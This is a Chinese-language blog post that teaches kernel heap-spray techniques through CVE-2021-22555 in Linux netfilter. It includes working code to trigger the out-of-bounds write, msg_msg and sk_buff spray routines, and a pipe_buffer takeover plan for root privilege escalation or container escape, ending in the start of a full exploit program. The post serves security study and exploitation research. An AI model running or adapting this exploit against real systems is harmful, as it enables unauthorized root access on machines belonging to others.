内核堆喷学习——CVE-2021-22555

Posted on Feb 21, 2023

1 总结

触发漏洞需要 CPA_NET_ADMIN ,我们先 unshare 出自己的名称空间,把权限给自己拉满

漏洞出现在内核的 netfilter 子系统,是一个防火墙系统。用户层中,iptable 即使通过该子系统实现的。

这个漏洞由 setsockopt 触发,在调用链中的 xt_compat_target_from_user 中,由于假设了一个不会对齐的 data 字段会 8 字节对齐,在后面进行 memset 对齐时,可以实现最多 7 个字节的溢出写零。这篇文章不会详细分析漏洞的成因,网络上已经有许多优秀的文章完整分析了。一下是触发漏洞的函数段,可以实现分配 kmalloc-4096 的内存块,并且溢出 2 字节写零。仅仅对于学习一些堆喷技巧来说,暂时知道这些就够了。

void triggerOob(int socket_fd) {
  // adapted from
  // https://github.com/google/security-research/security/advisories/GHSA-xxx5-8mvq-3528
  struct __attribute__((__packed__)) {
    struct ipt_replace replace;
    struct ipt_entry entry;
    struct xt_entry_match match;
    char pad[0xFB6 - 172 - 4];
    struct xt_entry_target target;
  } data = {0};

  data.replace.num_counters = 1;
  data.replace.num_entries = 1;
  data.replace.size = sizeof(data.entry) + sizeof(data.match) +
                      sizeof(data.pad) + sizeof(data.target);

  data.entry.next_offset = sizeof(data.entry) + sizeof(data.match) +
                           sizeof(data.pad) + sizeof(data.target);
  data.entry.target_offset =
      sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad);

  data.match.u.user.match_size = sizeof(data.match) + sizeof(data.pad);
  strcpy(data.match.u.user.name, "icmp");
  data.match.u.user.revision = 0;

  data.target.u.user.target_size = sizeof(data.target);
  strcpy(data.target.u.user.name, "NFQUEUE");
  data.target.u.user.revision = 1;

  // partial overwrite the next object
  if (setsockopt(socket_fd, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data))) {
    if (errno == ENOPROTOOPT) {
      err_exit("ip_tables module is not loaded!\n");
    }
    printf("error: %d\n", errno);
    perror("[-] setsockopt");
  }
}

将这个漏洞转换为 UAF 并最后完成利用,用到了现在 kernel 中比较常见的利用手段,也就是堆喷。而在内核中堆喷的时候,就有 sk_buffmsg_msg 两个比较好用的结构体。

一般对于内核中的堆溢出,我们也是想办法转为 UAF。由于内核堆分配器 slub 是一个复杂的系统,而且有 random list、xor key 等各种各样的保护措施,想要通过 slub 来利用,可谓非常困难,而且有些得不偿失。

在内核提权中,我们有对内核的较多的交互能力,所以其实可以利用内核中的结构体来辅助利用。 msg_msgsk_buff 就是两个常用的结构体。

不过由于内核堆分配器存在随机性,所以往往需要进行堆喷来占位。

我们的做法就是

  1. 堆喷 msg_msg ,让内存中出现大量连续的 msg_msg 结构体。
  2. free 掉几个 msg_msg ,让连续的区块中出现几个空洞。
  3. 通过 setsockopt 占位到空洞中。通过溢出修改下一个 msg_msgm_list.next 指针。此时获得两根指向同一对象的指针
  4. free 其中一根,获得一根悬垂指针。
  5. 通过 sk_buff 加悬垂指针实现对 pipe_buffer 结构体的完全控制
  6. 通过 pipe_buffer 完成提权

2 msg_msg 堆喷 exploit-trick

2.1 结构体定义

msg_msg 结构体在内核中用于实现 System-V IPC 中的消息队列。在内核中消息队列是一个双向链表,每个 msg_msg 结构体是链表中的节点,代表一个消息。结构体定义如下

/* one msg_msg structure for each message */
struct msg_msg {
        struct list_head m_list;
        long m_type;
        size_t m_ts;		/* message text size */
        struct msg_msgseg *next;
        void *security;
        /* the actual message follows immediately */
};

单个 msg_msg 结构体最多占一页。

  • m_list 是用来组成消息队列的双链表
  • m_type 由用户指定,用来实现一个简单的消息优先级 具体的,在使用 msgsnd 发送消息时,传入的结构为 strcut {long m_type; char m_text[];} ,这个 m_type 就会存到对应的 msg_msg 中,在 msgrcv 时也会传入一个 msgtyp ,对于 msgtype 的取值有以下三种情况
    • msgtype == 0 :返回队列中的第一个消息
    • msgtype > 0 :返回队列中 msg_msg->m_type == msgtype 的第一个消息
    • msgtype < 0 :返回队列中所有满足 msg_msg->m_type 小于等于 msgtype 的消息中 m_type 最小的一个
  • m_ts 表示这个消息的总长度
  • securitymsg_msg 的安全标识符,主要用于 LSM

对于结构体中类型为 struct msg_msgseg*next 指针。

struct msg_msgseg {
        struct msg_msgseg *next;
        /* the next part of the message follows immediately */
};

这个和 msg_msg 类似,也是开头为元数据,之后接着用户数据。用于在单个消息大于 PAGE_SIZE - sizeof(struct msg_msg) (即 0xFD0)时,由于 msg_msg 最多只能占一页,所以多出来的数据就存储在 next 指针指向的 msg_msgseg 中。一个 msg_msgseg 最多能存 0xFF8 字节数据,如果还不够,就继续分配新的 msg_msgseg

msg_msg

结构大概就是这样。 msg_queue 就是用来管理单个消息队列的结构体。

/* one msq_queue structure for each present queue on the system */
struct msg_queue {
        struct kern_ipc_perm q_perm;
        time64_t q_stime;		/* last msgsnd time */
        time64_t q_rtime;		/* last msgrcv time */
        time64_t q_ctime;		/* last change time */
        unsigned long q_cbytes;		/* current number of bytes on queue */
        unsigned long q_qnum;		/* number of messages in queue */
        unsigned long q_qbytes;		/* max number of bytes on queue */
        struct pid *q_lspid;		/* pid of last msgsnd */
        struct pid *q_lrpid;		/* last receive pid */

        struct list_head q_messages;
        struct list_head q_receivers;
        struct list_head q_senders;
} __randomize_layout;

msg_msg 头部占位 48 byte,后面的数据由用户填充,所以通过 msg_msg 我们可以占位 kmalloc-64 到 kmalloc-1k 中的所有堆块。并且只有开头 48 byte 不可控。

2.2 msg 的读取

读取消息队列使用的是 msgrcv 系统调用。原型为

ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,
               int msgflg);

msqid 是消息队列的 id, msgtyp 是前面提到的消息种类,用于实现简单的优先级。 msgflg 是读取的 flag,我们会用到的是 MSG_COPY

进入内核最后会调用到 do_msgrcv ,简单看一下他的实现

...
        if (msgflg & MSG_COPY) {
                if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
                        return -EINVAL;
                copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
                if (IS_ERR(copy))
                        return PTR_ERR(copy);
        }
        mode = convert_mode(&msgtyp, msgflg);
...

如果我们在 msgrcv 时指定了 MSG_COPY 的 flag,那么开头会先进入上面的代码片段。

在这里,会调用 prepare_copy 做拷贝

/*
 * This function creates new kernel message structure, large enough to store
 * bufsz message bytes.
 */
static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
        struct msg_msg *copy;

        /*
         * Create dummy message to copy real message to.
         */
        copy = load_msg(buf, bufsz);
        if (!IS_ERR(copy))
                copy->m_ts = bufsz;
        return copy;
}

struct msg_msg *load_msg(const void __user *src, size_t len)
{
        struct msg_msg *msg;
        struct msg_msgseg *seg;
        int err = -EFAULT;
        size_t alen;

        msg = alloc_msg(len);
        if (msg == NULL)
                return ERR_PTR(-ENOMEM);

        alen = min(len, DATALEN_MSG);
        if (copy_from_user(msg + 1, src, alen))
                goto out_err;

        for (seg = msg->next; seg != NULL; seg = seg->next) {
                len -= alen;
                src = (char __user *)src + alen;
                alen = min(len, DATALEN_SEG);
                if (copy_from_user(seg + 1, src, alen))
                        goto out_err;
        }

        err = security_msg_msg_alloc(msg);
        if (err)
                goto out_err;

        return msg;

out_err:
        free_msg(msg);
        return ERR_PTR(err);
}

static struct msg_msg *alloc_msg(size_t len)
{
        struct msg_msg *msg;
        struct msg_msgseg **pseg;
        size_t alen;

        alen = min(len, DATALEN_MSG);
        msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
        if (msg == NULL)
                return NULL;

        msg->next = NULL;
        msg->security = NULL;

        len -= alen;
        pseg = &msg->next;
        while (len > 0) {
                struct msg_msgseg *seg;

                cond_resched();

                alen = min(len, DATALEN_SEG);
                seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
                if (seg == NULL)
                        goto out_err;
                *pseg = seg;
                seg->next = NULL;
                pseg = &seg->next;
                len -= alen;
        }

load_msg 开头调用 alloc_msg 生成存储 dummy copy 的结构体对象。阅读 alloc_msg 的代码,这里我们可以看到在分配 dummy copy 使用的 GFP_KERNEL_ACCOUNT flag,代表这是个与用户数据相关联的对象。这个函数做的就是根据要拷贝的长度生成合适的 msg_msg 对象:

  • 如果 len < DATALEN_MSG(0xFD0),那么单个 msg_msg 就能装下,不需要设置 next 指针
  • 如果 len > DATALEN_MSG(0xFD0),那么就会生成一个合适的 msg_msgseg 链表

load_msg 后面会开始从真正的 msg_msg 中复制数据。然后会执行

err = security_msg_msg_alloc(msg);

这里是 LSM(Linux Security Modules)的一个桩点。前面提到 CONFIG_LSM 就是因为我在这里被坑了—— SELinux 直接让他在这里出了段错误,还让我以为是 exp 写错了。

通过前面的 prepare_copy 后,会先找寻到 msqid 代表的消息队列,并从中找到对应的消息。

mode = convert_mode(&msgtyp, msgflg);

rcu_read_lock();
msq = msq_obtain_object_check(ns, msqid);
if (IS_ERR(msq)) {
        rcu_read_unlock();
        free_copy(copy);
        return PTR_ERR(msq);
}

for (;;) {
        struct msg_receiver msr_d;

        msg = ERR_PTR(-EACCES);
        if (ipcperms(ns, &msq->q_perm, S_IRUGO))
                goto out_unlock1;

        ipc_lock_object(&msq->q_perm);

        /* raced with RMID? */
        if (!ipc_valid_object(&msq->q_perm)) {
                msg = ERR_PTR(-EIDRM);
                goto out_unlock0;
        }

        msg = find_msg(msq, &msgtyp, mode);

如果找到了目标消息,进入下面的 if 中

if (!IS_ERR(msg)) {
        /*
         * Found a suitable message.
         * Unlink it from the queue.
         */
        if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
                msg = ERR_PTR(-E2BIG);
                goto out_unlock0;
        }
        /*
         * If we are copying, then do not unlink message and do
         * not update queue parameters.
         */
        if (msgflg & MSG_COPY) {
                msg = copy_msg(msg, copy);
                goto out_unlock0;
        }

        list_del(&msg->m_list);
        msq->q_qnum--;
        msq->q_rtime = ktime_get_real_seconds();
        ipc_update_pid(&msq->q_lrpid, task_tgid(current));
        msq->q_cbytes -= msg->m_ts;
        atomic_sub(msg->m_ts, &ns->msg_bytes);
        atomic_dec(&ns->msg_hdrs);
        ss_wakeup(msq, &wake_q, false);

        goto out_unlock0;
}

这里就会根据有没有指定 MSG_COPY flag 来选择是否 unlink 找到的 msg,如果指定了就会通过 copy_msg 函数把找到的 msg 的内容拷贝到之前分配的“dummy msg” copy 中,然后通过 goto 跳过 unlink。 copy_msg 的实现很 trivial,这里就不细说了。但是要注意他会把拷贝的目标返回,也就是这个函数会把 copy 返回,然后通过 msg = copy(msg, copy) 在 goto 之后就会 free 掉 copy 了。

out_unlock0:
        ipc_unlock_object(&msq->q_perm);
        wake_up_q(&wake_q);
out_unlock1:
        rcu_read_unlock();
        if (IS_ERR(msg)) {
                free_copy(copy);
                return PTR_ERR(msg);
        }

        bufsz = msg_handler(buf, msg, bufsz);
        free_msg(msg);

        return bufsz;
}

这里会通过回调来把 msg 里的内容拷贝到用户 buf 中。通过 msgrcv 系统调用进入会调用的是 do_msg_fill 。实现比较 trivial,就是一些 copy_to_user 。然后再通过 free_msg 把消息 free 掉

void free_msg(struct msg_msg *msg)
{
        struct msg_msgseg *seg;

        security_msg_msg_free(msg);

        seg = msg->next;
        kfree(msg);
        while (seg != NULL) {
                struct msg_msgseg *tmp = seg->next;

                cond_resched();
                kfree(seg);
                seg = tmp;
        }
}

从代码中可以发现整个过程中除了刚才提到的 LSM 之外并没有什么安全检查,在带上 MSG_COPY flag 时,也 不会使用 找到的 msg_msg 结构体的 m_list 这个字段。所以如果我们可以做到改大 msg_msgm_ts 字段就可以做到越界读,非常好的一点是在读取 msg 的时候 ,所以不需要做 leak。另外如果能够同时控制 msg_msgnextm_ts 字段,也可以做到任意地址读。

2.3 msg 的发送

用户需要发送的消息,在 msgsnd 系统调用过程中也会通过之前提到的 load_msg 函数来生成 msg_msg 结构体。而其他关于 msg 发送的实现,其实对于漏洞利用来说并不是很重要,这里就不再赘述。

另外需要注意的是,在发送 msg 的时候 msgtype 不能制定为 0,否则会失败。毕竟之前说了 msgrcv 的时候传入 msgtype 为 0 的时候是返回第一个消息,所以消息的类型不能设置为 0。

2.4 堆喷的方式

从上面我们可以看到, msg_msg 通过 GPF_KERNEL_ACCOUNT 分配,可以用于占位所有同样 flag 的堆块,并且在 linux 5.14 前没有和 GFP_KERNEL 隔离,此时也可以占位这些堆块。

通过堆喷,我们主要希望能把堆溢出和 double free 的问题转换成 UAF。

2.4.1 溢出的 case

我们考虑可以堆溢出写 0 的 case:我们可以尝试覆盖 msg_msg->m_list.next 指针,这个指针在 msg_msg 链表中会指向消息队列中的下一个消息。通过写零就可以让他指向别的对象,然后通过 msgrcv 就可以把该对象 free 掉了。这样就可以做到 double free 和 UAF。由于 msgrcv 的实现中并没有什么合法性检查,被 free 对象只需要能够满足 msg_msg->next 字段为 0 就可以了。

溢出 3 字节以上范围太大,不好控制,我们选择溢出两字节,这样就可以让 m_list.next 指向每 0x10000 的首部了。堆喷时我们创建大量 msg_qeuen ,每个队列中创建两个消息,第一个消息大小 (0x1000 - sizeof(struct msg_msg)) ,这样 msg_msg 结构体就正好占满了一页;第二个消息大小 0x400 - sizeof(struct msg_msg) ,这个大小是为了后续喷射 pipe_buffer 方便设置的,如果选用别的结构体辅助利用,也可以使用别的大小,只要满足能整除 0x1000 就可以了。然后通过溢出写零让 m_list.next 指向一个别的队列的第二个消息。这样我们就获得了两个指向同一个对象的指针。

获得了两个指针后,我们先通过搜索找出 victim second msgmsqid ,因为消息是我们写入的,所以可以像下面这样在之前喷射的时候给每个消息打上唯一的标签

void secondMsgSend(int msgid, const char *content, int msgtype) {
  struct second_msg msg;
  msg.message_type = msgtype;
  memcpy(msg.message, content, SECOND_MSG_SIZE);
  if (msgsnd(msgid, &msg, SECOND_MSG_SIZE, 0)) {
    err_exit("[-] msgsnd");
  }
}

for (int i = 0; i < N_SPRAY_MSGMSG; i++) {
  ((int *)buf)[0] = i;
  secondMsgSend(msgids[i], buf, 1);
}

然后通过 MSG_COPY 读出来。就可以获得 victimoobed 消息的 msqid 了。

// find the msg that can be uaf
int first_id = -1, second_id = -1;
for (int i = 0; i < N_SPRAY_MSGMSG; i++) {
  if (i % HOLE_STEP == 0) {
    continue;
  }
  if (msgrcv(msgids[i], buf, SECOND_MSG_SIZE, 1, MSG_COPY | IPC_NOWAIT) < 0) {
    err_exit("[-] msgrcv");
  }
  if (((int *)buf)[1] != i) {
    first_id = i;
    second_id = ((int *)buf)[1];
    printf("[+] found UAF target: first id 0x%x, second id 0x%x\n", first_id,
           second_id);
  }
}

找到了两个 id 之后,我们通过不带 MSG_COPY flag 的 msgrcv free 掉 victim second msg ,此时我们会丢失一个指向目标的指针,但是还残留了一个,通过这根指针就可以做到 UAF 了。

到这里基本就是使用 msg_msg 堆喷的方法了,在有堆溢出的情况下,可以把它转换成 UAF,然后通过别的结构体最后完成利用。

2.4.2 double free 的 case

如果漏洞是一个 double free,需要首先看能被 double free 的 victim 对象的大小和 kmalloc 分配 flag,只要在 kmalloc-64 到 kmalloc-1024 中,并且没有与 GFP_KERNEL_ACCOUNT 隔离,就都可以尝试使用 msg_msg 占位,具体的,先 free 一次 victim 对象,然后喷射消息队列,仿照上面溢出的 case,也使用两个消息,第一个消息使用和 victim 不一样的大小,保证不会占位到 victim 中,第二个消息使用和 victim 同样的大小。占位成功后使用 double free 再 free 一次就同样可以实现 UAF 了。

不过如果有 double free 并且条件合适,也许不需要使用 msg_msg 来堆喷,直接用后面要说的 sk_buff 堆喷就可以了(比如以 CVE-2021-22555 的利用来说,使用 msg_msg 其实就是为了把堆溢出转化为对 sk_buff 的一个类似于 double free 的效果并最后实现 UAF)。

3 sk_buff 堆喷 exploit-trick

3.1 结构体定义

sk_buff 在内核中用来表示网络中的一个数据包, sk_buff 本身并不存储数据包,但是会有四个指针指向数据包。 sk_buff 结构体定义比较庞大,但是我们实际利用时并不会对 sk_buff 动手,只会利用他指向的数据包而已。大致的结构为

// in strcut sk_buff
...
/* These elements must be at the end, see alloc_skb() for details.  */
sk_buff_data_t		tail;
sk_buff_data_t		end;
unsigned char		*head,
                    *data;
...

我们在利用时,使用的就是右侧他指向的数据包了。总的来说 sk_buff 的堆喷和 msg_msg 很像,不同点就在于他是尾部不可控,而 msg_msg 是头部不可控。同时 sk_buff 尾部会填充 320 byte 大小的 struct skb_shared_info ,这个是不可控的。由于尾部一定会填充 320 byte 的大小的数据,所以我们只能用它喷射 malloc-512 以上的堆块。

3.2 分配 sk_buff

从利用的角度来说,直接把 sk_buff 和他的数据包当成黑盒用来喷射其实就行,但是源码还是可以看一下的。

一个 network buffer 通过 alloc_skb 分配,该函数是 __alloc_skb 的 wrapper

/**
 *	__alloc_skb	-	allocate a network buffer
 *	@size: size to allocate
 *	@gfp_mask: allocation mask
 *	@flags: If SKB_ALLOC_FCLONE is set, allocate from fclone cache
 *		instead of head cache and allocate a cloned (child) skb.
 *		If SKB_ALLOC_RX is set, __GFP_MEMALLOC will be used for
 *		allocations in case the data is required for writeback
 *	@node: numa node to allocate memory on
 *
 *	Allocate a new &sk_buff. The returned buffer has no headroom and a
 *	tail room of at least size bytes. The object has a reference count
 *	of one. The return is the buffer. On a failure the return is %NULL.
 *
 *	Buffers may only be allocated from interrupts using a @gfp_mask of
 *	%GFP_ATOMIC.
 */
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
                            int flags, int node)
{
        struct kmem_cache *cache;
        struct skb_shared_info *shinfo;
        struct sk_buff *skb;
        u8 *data;
        bool pfmemalloc;

        cache = (flags & SKB_ALLOC_FCLONE)
                ? skbuff_fclone_cache : skbuff_head_cache;

        if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
                gfp_mask |= __GFP_MEMALLOC;

        /* Get the HEAD */
        skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
        if (!skb)
                goto out;
        prefetchw(skb);

        /* We do our best to align skb_shared_info on a separate cache
         * line. It usually works because kmalloc(X > SMP_CACHE_BYTES) gives
         * aligned memory blocks, unless SLUB/SLAB debug is enabled.
         * Both skb->head and skb_shared_info are cache line aligned.
         */
        size = SKB_DATA_ALIGN(size);
        size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
        data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
        if (!data)
                goto nodata;
        /* kmalloc(size) might give us more room than requested.
         * Put skb_shared_info exactly at the end of allocated zone,
         * to allow max possible filling before reallocation.
         */
        size = SKB_WITH_OVERHEAD(ksize(data));
        prefetchw(data + size);

        /*
         * Only clear those fields we need to clear, not those that we will
         * actually initialise below. Hence, don't put any more fields after
         * the tail pointer in struct sk_buff!
         */
        memset(skb, 0, offsetof(struct sk_buff, tail));
        /* Account for allocated memory : skb + skb->head */
        skb->truesize = SKB_TRUESIZE(size);
        skb->pfmemalloc = pfmemalloc;
        refcount_set(&skb->users, 1);
        skb->head = data;
        skb->data = data;
        skb_reset_tail_pointer(skb);
        skb->end = skb->tail + size;
        skb->mac_header = (typeof(skb->mac_header))~0U;
        skb->transport_header = (typeof(skb->transport_header))~0U;

        /* make sure we initialize shinfo sequentially */
        shinfo = skb_shinfo(skb);
        memset(shinfo, 0, offsetof(struct skb_shared_info, dataref));
        atomic_set(&shinfo->dataref, 1);

        if (flags & SKB_ALLOC_FCLONE) {
                struct sk_buff_fclones *fclones;

                fclones = container_of(skb, struct sk_buff_fclones, skb1);

                skb->fclone = SKB_FCLONE_ORIG;
                refcount_set(&fclones->fclone_ref, 1);

                fclones->skb2.fclone = SKB_FCLONE_CLONE;
        }

        skb_set_kcov_handle(skb, kcov_common_handle());

out:
        return skb;
nodata:
        kmem_cache_free(cache, skb);
        skb = NULL;
        goto out;
}
EXPORT_SYMBOL(__alloc_skb);

这个函数中我们主要关心他对堆的操作,首先可见 sk_buff 是在这里分配的

// in __alloc_skb
skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);

这里使用的不再是 kmalloc 而是 kmem_cache_alloc_node 了,这是从指定 node 的特定 cache 中分配内存块的函数。 node 是内核对主存的抽象,主要用于 NUMA 计算机。而 cache 在这里可能是 skbuff_fclone_cacheskbuff_head_cache 中的一个:

// in __alloc_skb
cache = (flags & SKB_ALLOC_FCLONE)
  ? skbuff_fclone_cache : skbuff_head_cache;

所以他是被隔离的,不过数据包并不是

// in __alloc_skb
size = SKB_DATA_ALIGN(size);
size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);

可见他是通过 kmalloc_reserve 来分配的,最后仍然会通过 kmalloc 分配,通过创建一对 socket ,然后发送数据包,我们就几乎可以做到内核中的任意大小对象分配。不过可以看到上面会加上 struct skb_shared_info 的大小,所以其实只能做到 kmalloc-512 以上的任意大小对象分配。

后面也会对 struct skb_shared_info 进行初始化

static inline unsigned char *skb_end_pointer(const struct sk_buff *skb)
{
        return skb->head + skb->end;
}

#define skb_shinfo(SKB)	((struct skb_shared_info *)(skb_end_pointer(SKB)))

/* make sure we initialize shinfo sequentially */
shinfo = skb_shinfo(skb);
memset(shinfo, 0, offsetof(struct skb_shared_info, dataref));

3.3 释放 sk_buff

释放一个数据很容易,把它读取掉就可以来。内核中使用 kfree_skb 来实现对一个数据包的释放

void kfree_skb(struct sk_buff *skb)
{
        if (!skb_unref(skb))
                return;

        trace_kfree_skb(skb, __builtin_return_address(0));
        __kfree_skb(skb);
}
EXPORT_SYMBOL(kfree_skb);

/**
 *	__kfree_skb - private function
 *	@skb: buffer
 *
 *	Free an sk_buff. Release anything attached to the buffer.
 *	Clean the state. This is an internal helper function. Users should
 *	always call kfree_skb
 */

void __kfree_skb(struct sk_buff *skb)
{
        skb_release_all(skb);
        kfree_skbmem(skb);
}
EXPORT_SYMBOL(__kfree_skb);

/* Free everything but the sk_buff shell. */
static void skb_release_all(struct sk_buff *skb)
{
        skb_release_head_state(skb);
        if (likely(skb->head))
                skb_release_data(skb);
}

可见一层层调用最后通过 skb_release_all 来 free 掉一个 sk_buff ,我们并不关心他对 struct sk_buff 的“壳”做了什么,只关心他是怎么 free 掉数据包的,可见是通过 skb_release_data 实现

static void skb_release_data(struct sk_buff *skb)
{
        struct skb_shared_info *shinfo = skb_shinfo(skb);
        int i;

        if (skb->cloned &&
            atomic_sub_return(skb->nohdr ? (1 << SKB_DATAREF_SHIFT) + 1 : 1,
                              &shinfo->dataref))
                return;

        for (i = 0; i < shinfo->nr_frags; i++)
                __skb_frag_unref(&shinfo->frags[i]);

        if (shinfo->frag_list)
                kfree_skb_list(shinfo->frag_list);

        skb_zcopy_clear(skb, true);
        skb_free_head(skb);
}

前面的都是对尾部附着的 skb_shared_info 结构体进行操作,最后还是通过 skb_free_head 进行 free 。

static void skb_free_head(struct sk_buff *skb)
{
        unsigned char *head = skb->head;

        if (skb->head_frag)
                skb_free_frag(head);
        else
                kfree(head);
}

3.4 堆喷的方式

做法很朴素,首先创建大量 socket pair 用来互相收发数据包。然后喷射时通过写端向每个 socket 中写入数据包,此时就进行了多次特定大小的内存分配,需要 free 时就从读端读出即可。以下是一个简单的 demo 。

int sk_buff_spray(int sk_socket[SOCKET_SUM][2], void *buf, size_t size) {
  for (int i = 0; i < SOCKET_SUM; i++) {
    for (int j = 0; j < SK_BUFF_IN_ONE_SOCKET; j++) {
      if (write(sk_socket[i][0], buf, size) != size) {
        perror("[-] write sk_buff");
        return -1;
      }
    }
  }
  return 0;
}

int sk_buff_free(int sk_socket[SOCKET_SUM][2], void *buf, size_t size) {
  for (int i = 0; i < SOCKET_SUM; i++) {
    for (int j = 0; j < SK_BUFF_IN_ONE_SOCKET; j++) {
      if (read(sk_socket[i][1], buf, size) != size) {
        perror("[-] read sk_buff");
        return -1;
      }
    }
  }
  return 0;
}

这个堆喷的好处是头部数据即可控,而且还可以读出头部数据。所以如果能够做到对 sk_buff 指向的数据包 UAF ,利用就很容易了(比如对于 kmalloc-1024 来说,就有有一个基于 dirty pipe 的,非常好用的 pipe_buffer 原语。另一方面,通过 pipe_buffer 内部的虚表,也可以实现内核 rop)。

4 结合 msg_msg sk_buff 转化堆溢出 exploit-trick

刚才说了,通过 msg_msg 堆喷,我们可以把堆溢出转化为 UAF(获得一根指向已被 free 的内存块的悬垂指针)。那么能不能把这个 UAF 变成对 pipe_buffer 的完全控制呢?我们可以把 sk_buff 数据包占位到 victim second msg 上,然后用悬垂指针 free 掉 victim second msg,再喷射 pipe_buffer 占位到此处,就可以用 sk_buff 来完全控制 pipe_buffer 了。

不过用悬垂指针 free victim second msg ,需要经过一次 unlink 操作(通过 list_del 实现),虽然不像 glibc 一样有一堆检查,但是我们至少要伪造一个合法的地址避免错误,也就是说我们需要 leak 出内核堆地址。

由于 sk_buff 可以控制堆块的头部数据,所以我们可以通过喷射占位到上面 msg_msg 的 victim second msg 上,改写其 m_ts 字段(表示消息的长度),这样就可以越界读出 victim second msg 的下一个 msg 的 m_list.prevm_list.next 指针值了。

其中 m_list.prev 指向的是 victim first msg 的下一个 msg 。拿到这个指针就有一个内核堆地址了。而且其中的数据无关紧要,可以作为 unlink 时的 prev 和 next 值。

在获得了堆地址后,再一次使用 sk_buff 堆喷,写入一个“合法”的 m_list ,通过悬垂指针 free 掉 victim second msg 。此时我们仍然可以通过 sk_buff 来控制这个堆块。并且由于被 free 掉了,大小为 kmalloc-1024 ,我们申请大量的 pipe 就可以喷射 pipe_buffer 并占位到这个堆块上了( pipe_buffer 是内核中实现管道通信的核心数据结构,每个大小 40 bytes ,代表管道文件的一个页。而 linux 中管道默认大小为 16 个页,所以创建一个管道就会申请一个 640 byte 的内存块,也就是 kmalloc-1024 了)。

此时通过读出 sk_buff 就可以读取到 pipe_buffer 中的数据(占位到堆块中的会是一个 pipe_buffer 数组)。

struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

其中有一张虚表 pipe_buf_operations ,可以让我们 leak 内核基地址。(虽然可能并不需要)

获取 pipe_buffer 的数据后,我们再一次喷射 sk_buff ,又会占位到原来的 pipe_buffer 中,此时写入伪造数据即可通过 pipe_buffer 完成利用。这里有两种方法:

  1. 通过劫持虚表 ops 字段来 rop ,主要针对需要容器逃逸的情况 rop 时执行 switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) 即可改变名称空间完成逃逸
  2. 对于 linux 5.8=+:修改 flags 字段,添加上 PIPE_BUF_FLAG_CAN_MERGE 标识 对于 linux 5.8-:劫持 ops 字段,使之指向 struct anon_pipe_buf_ops 然后通过 splice 系统调用直接改写 root owned suid 程序文件(即 CVE-2022-0847 dirty pipe ) 这个我是看到协会学长 @veritas501pipe-primitive 学到的(太强啦)。

5 环境搭建

这个环境搭建折腾了我很久,我选用的是内核版本是 5.11.14,config 时要把 CONFIG_IP_NF**CONFIG_NETFILTER** 相关的都打开来。但是直接该 .config 编译出来的一直在 setsockopt 上报错。所以我只好 make menuconfig 然后手动一个个打开了。这里我估计是因为我用的是 wsl,所以默认 config 上有一些问题。

由于触发漏洞需要具有 CPA_NET_ADMIN 权限,所以需要开启 CONFIG_USER_NSCONFIG_NET_NS ,这样我们才能通过 unshare 出名称空间然后获得该权限。

同时要注意,要开启 CONFIG_CHECKPOINT_RESTORE 这个选项。不然在搜索 msg_msg 的时候会返回 ENOSYS

另外,对于 linux security modules 的开启( CONFIG_LSM ),也要注意。我最后是参考的 bsauce 师傅提供的内核 config。(应该是默认就是这个,可能因为我是在 wsl 中编译的,所以配置的时候自动配进去了一堆别的模块,导致我在 oob read 的时候一直在 security_msg_queue_msgrcv 中 crash。)

6 exp

// gcc -m32 -static exp.c -o exp
#define _GNU_SOURCE
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sched.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/netfilter_ipv4/ip_tables.h>

struct list_head {
  u_int64_t next, prev;
};

struct msg_msgseg {
  u_int64_t next;
  /* the next part of the message follows immediately */
};

struct msg_msg {
  struct list_head m_list;
  u_int64_t m_type;
  u_int64_t m_ts;  /* message text size */
  u_int64_t next;  // struct msg_msgseg*
  u_int64_t security;
  /* the actual message follows immediately */
};

struct pipe_buffer {
  u_int64_t page;
  u_int32_t offset, len;
  uint64_t ops;
  uint32_t flags;
  uint64_t private;
} __attribute__((aligned(8)));

#define FIRST_MSG_SIZE (0x1000 - sizeof(struct msg_msg))
#define SECOND_MSG_SIZE (0x400 - sizeof(struct msg_msg))
#define SOCKET_SUM 16
#define PIPE_SUM 256
#define SK_BUFF_IN_ONE_SOCKET 128
#define N_SPRAY_MSGMSG 0x2000

struct first_msg {
  long message_type;
  u_int8_t message[FIRST_MSG_SIZE];
};

struct second_msg {
  long message_type;
  u_int8_t message[SECOND_MSG_SIZE];
};

int msgids[N_SPRAY_MSGMSG];

char buf[FIRST_MSG_SIZE * 2];

void cleanup_msgs() {
  printf("[!] cleaning up msg_msg..\n");
  for (int i = 0; i < N_SPRAY_MSGMSG; i++) {
    msgctl(msgids[i], IPC_RMID, NULL);
  }
}

void err_exit(const char *str) {
  perror(str);
  cleanup_msgs();
  exit(1);
}

void secondMsgSend(int msgid, const char *content, int msgtype) {
  struct second_msg msg;
  msg.message_type = msgtype;
  memcpy(msg.message, content, SECOND_MSG_SIZE);
  if (msgsnd(msgid, &msg, SECOND_MSG_SIZE, 0)) {
    err_exit("[-] msgsnd");
  }
}

void firstMsgSend(int msgid, const char *content, int msgtype) {
  struct first_msg msg;
  msg.message_type = msgtype;
  memcpy(msg.message, content, FIRST_MSG_SIZE);
